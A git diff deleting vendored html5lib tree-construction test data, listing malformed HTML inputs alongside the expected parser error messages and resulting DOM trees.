-Line: 1 Col: 36 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <h1>
-|       <table>
-|         <tbody>
-|           <tr>
-|             <td>
-|               <h3>
-|       <h3>
-
-#data
-<table><colgroup><col><colgroup><col><col><col><colgroup><col><col><thead><tr><td></table>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <colgroup>
-|         <col>
-|       <colgroup>
-|         <col>
-|         <col>
-|         <col>
-|       <colgroup>
-|         <col>
-|         <col>
-|       <thead>
-|         <tr>
-|           <td>
-
-#data
-<table><col><tbody><col><tr><col><td><col></table><col>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 37 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 55 Unexpected start tag col. Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <colgroup>
-|         <col>
-|       <tbody>
-|       <colgroup>
-|         <col>
-|       <tbody>
-|         <tr>
-|       <colgroup>
-|         <col>
-|       <tbody>
-|         <tr>
-|           <td>
-|       <colgroup>
-|         <col>
-
-#data
-<table><colgroup><tbody><colgroup><tr><colgroup><td><colgroup></table><colgroup>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 52 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 80 Unexpected start tag colgroup. Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <colgroup>
-|       <tbody>
-|       <colgroup>
-|       <tbody>
-|         <tr>
-|       <colgroup>
-|       <tbody>
-|         <tr>
-|           <td>
-|       <colgroup>
-
-#data
-</strong></b></em></i></u></strike></s></blink></tt></pre></big></small></font></select></h1></h2></h3></h4></h5></h6></body></br></a></img></title></span></style></script></table></th></td></tr></frame></area></link></param></hr></input></col></base></meta></basefont></bgsound></embed></spacer></p></dd></dt></caption></colgroup></tbody></tfoot></thead></address></blockquote></center></dir></div></dl></fieldset></listing></menu></ol></ul></li></nobr></wbr></form></button></marquee></object></html></frameset></head></iframe></image></isindex></noembed></noframes></noscript></optgroup></option></plaintext></textarea>
-#errors
-Line: 1 Col: 9 Unexpected end tag (strong). Expected DOCTYPE.
-Line: 1 Col: 9 Unexpected end tag (strong) after the (implied) root element.
-Line: 1 Col: 13 Unexpected end tag (b) after the (implied) root element.
-Line: 1 Col: 18 Unexpected end tag (em) after the (implied) root element.
-Line: 1 Col: 22 Unexpected end tag (i) after the (implied) root element.
-Line: 1 Col: 26 Unexpected end tag (u) after the (implied) root element.
-Line: 1 Col: 35 Unexpected end tag (strike) after the (implied) root element.
-Line: 1 Col: 39 Unexpected end tag (s) after the (implied) root element.
-Line: 1 Col: 47 Unexpected end tag (blink) after the (implied) root element.
-Line: 1 Col: 52 Unexpected end tag (tt) after the (implied) root element.
-Line: 1 Col: 58 Unexpected end tag (pre) after the (implied) root element.
-Line: 1 Col: 64 Unexpected end tag (big) after the (implied) root element.
-Line: 1 Col: 72 Unexpected end tag (small) after the (implied) root element.
-Line: 1 Col: 79 Unexpected end tag (font) after the (implied) root element.
-Line: 1 Col: 88 Unexpected end tag (select) after the (implied) root element.
-Line: 1 Col: 93 Unexpected end tag (h1) after the (implied) root element.
-Line: 1 Col: 98 Unexpected end tag (h2) after the (implied) root element.
-Line: 1 Col: 103 Unexpected end tag (h3) after the (implied) root element.
-Line: 1 Col: 108 Unexpected end tag (h4) after the (implied) root element.
-Line: 1 Col: 113 Unexpected end tag (h5) after the (implied) root element.
-Line: 1 Col: 118 Unexpected end tag (h6) after the (implied) root element.
-Line: 1 Col: 130 Unexpected end tag token (br) in the after body phase.
-Line: 1 Col: 130 Unexpected end tag (br). Treated as br element.
-Line: 1 Col: 134 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 140 This element (img) has no end tag.
-Line: 1 Col: 148 Unexpected end tag (title). Ignored.
-Line: 1 Col: 155 Unexpected end tag (span). Ignored.
-Line: 1 Col: 163 Unexpected end tag (style). Ignored.
-Line: 1 Col: 172 Unexpected end tag (script). Ignored.
-Line: 1 Col: 180 Unexpected end tag (table). Ignored.
-Line: 1 Col: 185 Unexpected end tag (th). Ignored.
-Line: 1 Col: 190 Unexpected end tag (td). Ignored.
-Line: 1 Col: 195 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 203 This element (frame) has no end tag.
-Line: 1 Col: 210 This element (area) has no end tag.
-Line: 1 Col: 217 Unexpected end tag (link). Ignored.
-Line: 1 Col: 225 This element (param) has no end tag.
-Line: 1 Col: 230 This element (hr) has no end tag.
-Line: 1 Col: 238 This element (input) has no end tag.
-Line: 1 Col: 244 Unexpected end tag (col). Ignored.
-Line: 1 Col: 251 Unexpected end tag (base). Ignored.
-Line: 1 Col: 258 Unexpected end tag (meta). Ignored.
-Line: 1 Col: 269 This element (basefont) has no end tag.
-Line: 1 Col: 279 This element (bgsound) has no end tag.
-Line: 1 Col: 287 This element (embed) has no end tag.
-Line: 1 Col: 296 This element (spacer) has no end tag.
-Line: 1 Col: 300 Unexpected end tag (p). Ignored.
-Line: 1 Col: 305 End tag (dd) seen too early. Expected other end tag.
-Line: 1 Col: 310 End tag (dt) seen too early. Expected other end tag.
-Line: 1 Col: 320 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 331 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 339 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 347 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 355 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 365 End tag (address) seen too early. Expected other end tag.
-Line: 1 Col: 378 End tag (blockquote) seen too early. Expected other end tag.
-Line: 1 Col: 387 End tag (center) seen too early. Expected other end tag.
-Line: 1 Col: 393 Unexpected end tag (dir). Ignored.
-Line: 1 Col: 399 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 404 End tag (dl) seen too early. Expected other end tag.
-Line: 1 Col: 415 End tag (fieldset) seen too early. Expected other end tag.
-Line: 1 Col: 425 End tag (listing) seen too early. Expected other end tag.
-Line: 1 Col: 432 End tag (menu) seen too early. Expected other end tag.
-Line: 1 Col: 437 End tag (ol) seen too early. Expected other end tag.
-Line: 1 Col: 442 End tag (ul) seen too early. Expected other end tag.
-Line: 1 Col: 447 End tag (li) seen too early. Expected other end tag.
-Line: 1 Col: 454 End tag (nobr) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 460 This element (wbr) has no end tag.
-Line: 1 Col: 467 End tag (form) seen too early. Ignored.
-Line: 1 Col: 476 End tag (button) seen too early. Expected other end tag.
-Line: 1 Col: 486 End tag (marquee) seen too early. Expected other end tag.
-Line: 1 Col: 495 End tag (object) seen too early. Expected other end tag.
-Line: 1 Col: 513 Unexpected end tag (frameset). Expected end of file.
-Line: 1 Col: 513 Unexpected end tag token (frameset) in the after body phase.
-Line: 1 Col: 513 Unexpected end tag (frameset). Ignored.
-Line: 1 Col: 520 Unexpected end tag (head). Ignored.
-Line: 1 Col: 529 Unexpected end tag (iframe). Ignored.
-Line: 1 Col: 537 This element (image) has no end tag.
-Line: 1 Col: 547 This element (isindex) has no end tag.
-Line: 1 Col: 557 Unexpected end tag (noembed). Ignored.
-Line: 1 Col: 568 Unexpected end tag (noframes). Ignored.
-Line: 1 Col: 579 Unexpected end tag (noscript). Ignored.
-Line: 1 Col: 590 Unexpected end tag (optgroup). Ignored.
-Line: 1 Col: 599 Unexpected end tag (option). Ignored.
-Line: 1 Col: 611 Unexpected end tag (plaintext). Ignored.
-Line: 1 Col: 622 Unexpected end tag (textarea). Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <br>
-|     <p>
-
-#data
-<table><tr></strong></b></em></i></u></strike></s></blink></tt></pre></big></small></font></select></h1></h2></h3></h4></h5></h6></body></br></a></img></title></span></style></script></table></th></td></tr></frame></area></link></param></hr></input></col></base></meta></basefont></bgsound></embed></spacer></p></dd></dt></caption></colgroup></tbody></tfoot></thead></address></blockquote></center></dir></div></dl></fieldset></listing></menu></ol></ul></li></nobr></wbr></form></button></marquee></object></html></frameset></head></iframe></image></isindex></noembed></noframes></noscript></optgroup></option></plaintext></textarea>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end tag (strong) in table context caused voodoo mode.
-Line: 1 Col: 20 End tag (strong) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 24 Unexpected end tag (b) in table context caused voodoo mode.
-Line: 1 Col: 24 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 29 Unexpected end tag (em) in table context caused voodoo mode.
-Line: 1 Col: 29 End tag (em) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 33 Unexpected end tag (i) in table context caused voodoo mode.
-Line: 1 Col: 33 End tag (i) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 37 Unexpected end tag (u) in table context caused voodoo mode.
-Line: 1 Col: 37 End tag (u) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 46 Unexpected end tag (strike) in table context caused voodoo mode.
-Line: 1 Col: 46 End tag (strike) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 50 Unexpected end tag (s) in table context caused voodoo mode.
-Line: 1 Col: 50 End tag (s) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 58 Unexpected end tag (blink) in table context caused voodoo mode.
-Line: 1 Col: 58 Unexpected end tag (blink). Ignored.
-Line: 1 Col: 63 Unexpected end tag (tt) in table context caused voodoo mode.
-Line: 1 Col: 63 End tag (tt) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 69 Unexpected end tag (pre) in table context caused voodoo mode.
-Line: 1 Col: 69 End tag (pre) seen too early. Expected other end tag.
-Line: 1 Col: 75 Unexpected end tag (big) in table context caused voodoo mode.
-Line: 1 Col: 75 End tag (big) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 83 Unexpected end tag (small) in table context caused voodoo mode.
-Line: 1 Col: 83 End tag (small) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 90 Unexpected end tag (font) in table context caused voodoo mode.
-Line: 1 Col: 90 End tag (font) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 99 Unexpected end tag (select) in table context caused voodoo mode.
-Line: 1 Col: 99 Unexpected end tag (select). Ignored.
-Line: 1 Col: 104 Unexpected end tag (h1) in table context caused voodoo mode.
-Line: 1 Col: 104 End tag (h1) seen too early. Expected other end tag.
-Line: 1 Col: 109 Unexpected end tag (h2) in table context caused voodoo mode.
-Line: 1 Col: 109 End tag (h2) seen too early. Expected other end tag.
-Line: 1 Col: 114 Unexpected end tag (h3) in table context caused voodoo mode.
-Line: 1 Col: 114 End tag (h3) seen too early. Expected other end tag.
-Line: 1 Col: 119 Unexpected end tag (h4) in table context caused voodoo mode.
-Line: 1 Col: 119 End tag (h4) seen too early. Expected other end tag.
-Line: 1 Col: 124 Unexpected end tag (h5) in table context caused voodoo mode.
-Line: 1 Col: 124 End tag (h5) seen too early. Expected other end tag.
-Line: 1 Col: 129 Unexpected end tag (h6) in table context caused voodoo mode.
-Line: 1 Col: 129 End tag (h6) seen too early. Expected other end tag.
-Line: 1 Col: 136 Unexpected end tag (body) in the table row phase. Ignored.
-Line: 1 Col: 141 Unexpected end tag (br) in table context caused voodoo mode.
-Line: 1 Col: 141 Unexpected end tag (br). Treated as br element.
-Line: 1 Col: 145 Unexpected end tag (a) in table context caused voodoo mode.
-Line: 1 Col: 145 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 151 Unexpected end tag (img) in table context caused voodoo mode.
-Line: 1 Col: 151 This element (img) has no end tag.
-Line: 1 Col: 159 Unexpected end tag (title) in table context caused voodoo mode.
-Line: 1 Col: 159 Unexpected end tag (title). Ignored.
-Line: 1 Col: 166 Unexpected end tag (span) in table context caused voodoo mode.
-Line: 1 Col: 166 Unexpected end tag (span). Ignored.
-Line: 1 Col: 174 Unexpected end tag (style) in table context caused voodoo mode.
-Line: 1 Col: 174 Unexpected end tag (style). Ignored.
-Line: 1 Col: 183 Unexpected end tag (script) in table context caused voodoo mode.
-Line: 1 Col: 183 Unexpected end tag (script). Ignored.
-Line: 1 Col: 196 Unexpected end tag (th). Ignored.
-Line: 1 Col: 201 Unexpected end tag (td). Ignored.
-Line: 1 Col: 206 Unexpected end tag (tr). Ignored.
-Line: 1 Col: 214 This element (frame) has no end tag.
-Line: 1 Col: 221 This element (area) has no end tag.
-Line: 1 Col: 228 Unexpected end tag (link). Ignored.
-Line: 1 Col: 236 This element (param) has no end tag.
-Line: 1 Col: 241 This element (hr) has no end tag.
-Line: 1 Col: 249 This element (input) has no end tag.
-Line: 1 Col: 255 Unexpected end tag (col). Ignored.
-Line: 1 Col: 262 Unexpected end tag (base). Ignored.
-Line: 1 Col: 269 Unexpected end tag (meta). Ignored.
-Line: 1 Col: 280 This element (basefont) has no end tag.
-Line: 1 Col: 290 This element (bgsound) has no end tag.
-Line: 1 Col: 298 This element (embed) has no end tag.
-Line: 1 Col: 307 This element (spacer) has no end tag.
-Line: 1 Col: 311 Unexpected end tag (p). Ignored.
-Line: 1 Col: 316 End tag (dd) seen too early. Expected other end tag.
-Line: 1 Col: 321 End tag (dt) seen too early. Expected other end tag.
-Line: 1 Col: 331 Unexpected end tag (caption). Ignored.
-Line: 1 Col: 342 Unexpected end tag (colgroup). Ignored.
-Line: 1 Col: 350 Unexpected end tag (tbody). Ignored.
-Line: 1 Col: 358 Unexpected end tag (tfoot). Ignored.
-Line: 1 Col: 366 Unexpected end tag (thead). Ignored.
-Line: 1 Col: 376 End tag (address) seen too early. Expected other end tag.
-Line: 1 Col: 389 End tag (blockquote) seen too early. Expected other end tag.
-Line: 1 Col: 398 End tag (center) seen too early. Expected other end tag.
-Line: 1 Col: 404 Unexpected end tag (dir). Ignored.
-Line: 1 Col: 410 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 415 End tag (dl) seen too early. Expected other end tag.
-Line: 1 Col: 426 End tag (fieldset) seen too early. Expected other end tag.
-Line: 1 Col: 436 End tag (listing) seen too early. Expected other end tag.
-Line: 1 Col: 443 End tag (menu) seen too early. Expected other end tag.
-Line: 1 Col: 448 End tag (ol) seen too early. Expected other end tag.
-Line: 1 Col: 453 End tag (ul) seen too early. Expected other end tag.
-Line: 1 Col: 458 End tag (li) seen too early. Expected other end tag.
-Line: 1 Col: 465 End tag (nobr) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 471 This element (wbr) has no end tag.
-Line: 1 Col: 478 End tag (form) seen too early. Ignored.
-Line: 1 Col: 487 End tag (button) seen too early. Expected other end tag.
-Line: 1 Col: 497 End tag (marquee) seen too early. Expected other end tag.
-Line: 1 Col: 506 End tag (object) seen too early. Expected other end tag.
-Line: 1 Col: 524 Unexpected end tag (frameset). Expected end of file.
-Line: 1 Col: 524 Unexpected end tag token (frameset) in the after body phase.
-Line: 1 Col: 524 Unexpected end tag (frameset). Ignored.
-Line: 1 Col: 531 Unexpected end tag (head). Ignored.
-Line: 1 Col: 540 Unexpected end tag (iframe). Ignored.
-Line: 1 Col: 548 This element (image) has no end tag.
-Line: 1 Col: 558 This element (isindex) has no end tag.
-Line: 1 Col: 568 Unexpected end tag (noembed). Ignored.
-Line: 1 Col: 579 Unexpected end tag (noframes). Ignored.
-Line: 1 Col: 590 Unexpected end tag (noscript). Ignored.
-Line: 1 Col: 601 Unexpected end tag (optgroup). Ignored.
-Line: 1 Col: 610 Unexpected end tag (option). Ignored.
-Line: 1 Col: 622 Unexpected end tag (plaintext). Ignored.
-Line: 1 Col: 633 Unexpected end tag (textarea). Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <br>
-|     <table>
-|       <tbody>
-|         <tr>
-|     <p>
-
-#data
-<frameset>
-#errors
-Line: 1 Col: 10 Unexpected start tag (frameset). Expected DOCTYPE.
-Line: 1 Col: 10 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <frameset>
diff --git a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests2.dat b/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests2.dat
deleted file mode 100755
index 3542cc1b..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/tree-construction/tests2.dat
+++ /dev/null
@@ -1,773 +0,0 @@
-#data
-<!DOCTYPE HTML>Test
-#errors
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     "Test"
-
-#data
-<textarea>test</div>test
-#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
-Line: 1 Col: 24 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <textarea>
-|       "test</div>test"
-
-#data
-<table><td>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 11 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <tbody>
-|         <tr>
-|           <td>
-
-#data
-<table><td>test</tbody></table>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected table cell start tag (td) in the table body phase.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <tbody>
-|         <tr>
-|           <td>
-|             "test"
-
-#data
-<frame>test
-#errors
-Line: 1 Col: 7 Unexpected start tag (frame). Expected DOCTYPE.
-Line: 1 Col: 7 Unexpected start tag frame. Ignored.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "test"
-
-#data
-<!DOCTYPE HTML><frameset>test
-#errors
-Line: 1 Col: 29 Unepxected characters in the frameset phase. Characters ignored.
-Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <frameset>
-
-#data
-<!DOCTYPE HTML><frameset><!DOCTYPE HTML>
-#errors
-Line: 1 Col: 40 Unexpected DOCTYPE. Ignored.
-Line: 1 Col: 40 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <frameset>
-
-#data
-<!DOCTYPE HTML><font><p><b>test</font>
-#errors
-Line: 1 Col: 38 End tag (font) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 38 End tag (font) violates step 1, paragraph 3 of the adoption agency algorithm.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <font>
-|     <p>
-|       <font>
-|         <b>
-|           "test"
-
-#data
-<!DOCTYPE HTML><dt><div><dd>
-#errors
-Line: 1 Col: 28 Missing end tag (div, dt).
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <dt>
-|       <div>
-|     <dd>
-
-#data
-<script></x
-#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
-#document
-| <html>
-|   <head>
-|     <script>
-|       "</x"
-|   <body>
-
-#data
-<table><plaintext><td>
-#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 18 Unexpected start tag (plaintext) in table context caused voodoo mode.
-Line: 1 Col: 21 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 22 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 22 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <plaintext>
-|       "<td>"
-|     <table>
-
-#data
-<plaintext></plaintext>
-#errors
-Line: 1 Col: 11 Unexpected start tag (plaintext). Expected DOCTYPE.
-Line: 1 Col: 23 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <plaintext>
-|       "</plaintext>"
-
-#data
-<!DOCTYPE HTML><table><tr>TEST
-#errors
-Line: 1 Col: 30 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 30 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     "TEST"
-|     <table>
-|       <tbody>
-|         <tr>
-
-#data
-<!DOCTYPE HTML><body t1=1><body t2=2><body t3=3 t4=4>
-#errors
-Line: 1 Col: 37 Unexpected start tag (body).
-Line: 1 Col: 53 Unexpected start tag (body).
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     t1="1"
-|     t2="2"
-|     t3="3"
-|     t4="4"
-
-#data
-</b test
-#errors
-Line: 1 Col: 8 Unexpected end of file in attribute name.
-Line: 1 Col: 8 End tag contains unexpected attributes.
-Line: 1 Col: 8 Unexpected end tag (b). Expected DOCTYPE.
-Line: 1 Col: 8 Unexpected end tag (b) after the (implied) root element.
-#document
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML></b test<b &=&amp>X
-#errors
-Line: 1 Col: 32 Named entity didn't end with ';'.
-Line: 1 Col: 33 End tag contains unexpected attributes.
-Line: 1 Col: 33 Unexpected end tag (b) after the (implied) root element.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     "X"
-
-#data
-<!doctypehtml><scrIPt type=text/x-foobar;baz>X</SCRipt
-#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
-Line: 1 Col: 54 Unexpected end of file in the tag name.
-#document
-| <!DOCTYPE html>
-| <html>
-|   <head>
-|     <script>
-|       type="text/x-foobar;baz"
-|       "X"
-|   <body>
-
-#data
-&
-#errors
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "&"
-
-#data
-&#
-#errors
-Line: 1 Col: 1 Numeric entity expected. Got end of file instead.
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "&#"
-
-#data
-&#X
-#errors
-Line: 1 Col: 3 Numeric entity expected but none found.
-Line: 1 Col: 3 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "&#X"
-
-#data
-&#x
-#errors
-Line: 1 Col: 3 Numeric entity expected but none found.
-Line: 1 Col: 3 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "&#x"
-
-#data
-&#45
-#errors
-Line: 1 Col: 4 Numeric entity didn't end with ';'.
-Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "-"
-
-#data
-&x-test
-#errors
-Line: 1 Col: 1 Named entity expected. Got none.
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "&x-test"
-
-#data
-<!doctypehtml><p><li>
-#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
-#document
-| <!DOCTYPE html>
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|     <li>
-
-#data
-<!doctypeHTML><p><dt>
-#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|     <dt>
-
-#data
-<!doctypehtmL><p><dd>
-#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
-#document
-| <!DOCTYPE htmL>
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|     <dd>
-
-#data
-<!doctypehtml><p><form>
-#errors
-Line: 1 Col: 9 No space after literal string 'DOCTYPE'.
-Line: 1 Col: 23 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE html>
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|     <form>
-
-#data
-<!DOCTYPE HTML><p><b><i><u></p> <p>X
-#errors
-Line: 1 Col: 31 Unexpected end tag (p). Ignored.
-Line: 1 Col: 36 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|       <b>
-|         <i>
-|           <u>
-|     <b>
-|       <i>
-|         <u>
-|           " "
-|           <p>
-|             "X"
-
-#data
-<!DOCTYPE HTML><p></P>X
-#errors
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|     "X"
-
-#data
-&AMP
-#errors
-Line: 1 Col: 4 Named entity didn't end with ';'.
-Line: 1 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "&"
-
-#data
-&AMp;
-#errors
-Line: 1 Col: 1 Named entity expected. Got none.
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "&AMp;"
-
-#data
-<!DOCTYPE HTML><html><head></head><body><thisISasillyTESTelementNameToMakeSureCrazyTagNamesArePARSEDcorrectLY>
-#errors
-Line: 1 Col: 110 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <thisisasillytestelementnametomakesurecrazytagnamesareparsedcorrectly>
-
-#data
-<!DOCTYPE HTML>X</body>X
-#errors
-Line: 1 Col: 24 Unexpected non-space characters in the after body phase.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     "XX"
-
-#data
-<!DOCTYPE HTML><!-- X
-#errors
-Line: 1 Col: 21 Unexpected end of file in comment.
-#document
-| <!DOCTYPE HTML>
-| <!--  X -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML><table><caption>test TEST</caption><td>test
-#errors
-Line: 1 Col: 54 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 58 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <table>
-|       <caption>
-|         "test TEST"
-|       <tbody>
-|         <tr>
-|           <td>
-|             "test"
-
-#data
-<!DOCTYPE HTML><select><option><optgroup>
-#errors
-Line: 1 Col: 41 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <select>
-|       <option>
-|       <optgroup>
-
-#data
-<!DOCTYPE HTML><select><optgroup><option></optgroup><option><select><option>
-#errors
-Line: 1 Col: 68 Unexpected select start tag in the select phase implies select start tag.
-Line: 1 Col: 76 Unexpected start tag option. Ignored.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <select>
-|       <optgroup>
-|         <option>
-|       <option>
-
-#data
-<!DOCTYPE HTML><select><optgroup><option><optgroup>
-#errors
-Line: 1 Col: 51 Expected closing tag. Unexpected end of file.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <select>
-|       <optgroup>
-|         <option>
-|       <optgroup>
-
-#data
-<!DOCTYPE HTML><font><input><input></font>
-#errors
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|   <body>
-|     <font>
-|       <input>
-|       <input>
-
-#data
-<!DOCTYPE HTML><!-- XXX - XXX -->
-#errors
-#document
-| <!DOCTYPE HTML>
-| <!--  XXX - XXX  -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML><!-- XXX - XXX
-#errors
-Line: 1 Col: 29 Unexpected end of file in comment (-)
-#document
-| <!DOCTYPE HTML>
-| <!--  XXX - XXX -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<!DOCTYPE HTML><!-- XXX - XXX - XXX -->
-#errors
-#document
-| <!DOCTYPE HTML>
-| <!--  XXX - XXX - XXX  -->
-| <html>
-|   <head>
-|   <body>
-
-#data
-<isindex test=x name=x>
-#errors
-Line: 1 Col: 23 Unexpected start tag (isindex). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected start tag isindex. Don't use it!
-#document
-| <html>
-|   <head>
-|   <body>
-|     <form>
-|       <hr>
-|       <p>
-|         <label>
-|           "This is a searchable index. Insert your search keywords here: "
-|           <input>
-|             name="isindex"
-|             test="x"
-|       <hr>
-
-#data
-test
-test
-#errors
-Line: 2 Col: 4 Unexpected non-space characters. Expected DOCTYPE.
-#document
-| <html>
-|   <head>
-|   <body>
-|     "test
-test"
-
-#data
-<p><b><i><u></p>
-<p>X
-#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected end tag (p). Ignored.
-Line: 2 Col: 4 Expected closing tag. Unexpected end of file.
-#document
-| <html>
-|   <head>
-|   <body>
-|     <p>
-|       <b>
-|         <i>
-|           <u>
-|     <b>
-|       <i>
-|         <u>
-|           "
-"
-|           <p>
-|             "X"
-
-#data
-<!DOCTYPE HTML><body><title>test</body></title>
-#errors
-Line: 1 Col: 28 Unexpected start tag (title) that can be in head. Moved.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|     <title>
-|       "test</body>"
-|   <body>
-
-#data
-<!DOCTYPE HTML><body><title>X</title><meta name=z><link rel=foo><style>
-x { content:"</style" } </style>
-#errors
-Line: 1 Col: 28 Unexpected start tag (title) that can be in head. Moved.
-#document
-| <!DOCTYPE HTML>
-| <html>
-|   <head>
-|     <title>
-|       "X"
-|   <body>
-|     <meta>
-|       name="z"
-|     <link>
-|       rel="foo"
-|     <style>
-|       "
